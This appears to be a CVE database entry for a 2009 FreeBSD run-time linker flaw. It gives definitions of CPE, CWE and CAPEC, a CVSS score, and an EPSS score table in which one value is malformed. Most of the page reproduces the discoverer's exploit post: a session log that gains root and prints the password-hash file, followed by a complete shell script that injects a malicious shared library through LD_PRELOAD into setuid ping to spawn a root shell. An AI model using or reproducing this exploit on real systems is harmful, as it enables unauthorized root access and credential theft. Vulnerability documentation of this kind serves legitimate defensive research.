CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The _rtld function in the Run-Time Link-Editor (rtld) in libexec/rtld-elf/rtld.c in FreeBSD 7.1, 7.2, and 8.0 does not clear the LD_PRELOAD environment variable, which allows local users to gain privileges by executing a setuid or setguid program with a modified LD_PRELOAD variable containing an untrusted search path that points to a Trojan horse library, a different vector than CVE-2009-4147.
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.1%
–
–
2022-02-27
–
–
1.1%
–
–
2022-04-03
–
–
1.1%
–
–
2022-04-10
–
–
1.1%
–
–
2022-07-03
–
–
1.1%
–
–
2022-09-25
–
–
1.1%
–
–
2023-02-19
–
–
1.1%
–
–
2023-03-12
–
–
–
0.04%
–
2024-02-11
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.06%
–
2025-01-19
–
–
–
0.06%
–
2025-01-26
–
–
–
0.06%
–
2025-01-19
–
–
–
0.06%
–
2025-01-25
–
–
–
0.06%
–
2025-03-18
–
–
–
–
17.98%
2025-03-18
–
–
–
–
17.98,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Discovered & Exploited by Nikolaos Rangos also known as Kingcope.
Nov 2009 "BiG TiME"
"Go fetch your FreeBSD r00tkitz" // http://www.youtube.com/watch?v=dDnhthI27Fg
There is an unbelievable simple local r00t bug in recent FreeBSD versions.
I audited FreeBSD for local r00t bugs a long time *sigh*. Now it pays out.
The bug resides in the Run-Time Link-Editor (rtld).
Normally rtld does not allow dangerous environment variables like LD_PRELOAD
to be set when executing setugid binaries like "ping" or "su".
With a rather simple technique rtld can be tricked into
accepting LD variables even on setugid binaries.
See the attached exploit for details.
Example exploiting session
**********************************
%uname -a;id;
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
uid=1001(kcope) gid=1001(users) groups=1001(users)
%./w00t.sh
FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in
function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in
function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in
function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# uname -a;id;
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users)
# cat /etc/master.passwd
# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29
kensmith Exp $
#
root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &:/root:/bin/csh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User
&:/home/kcope:/bin/sh
#
Systems tested/affected
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NOT VULN
FreeBSD 4.9-RELEASE *** NOT VULN
*EXPLOIT*
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env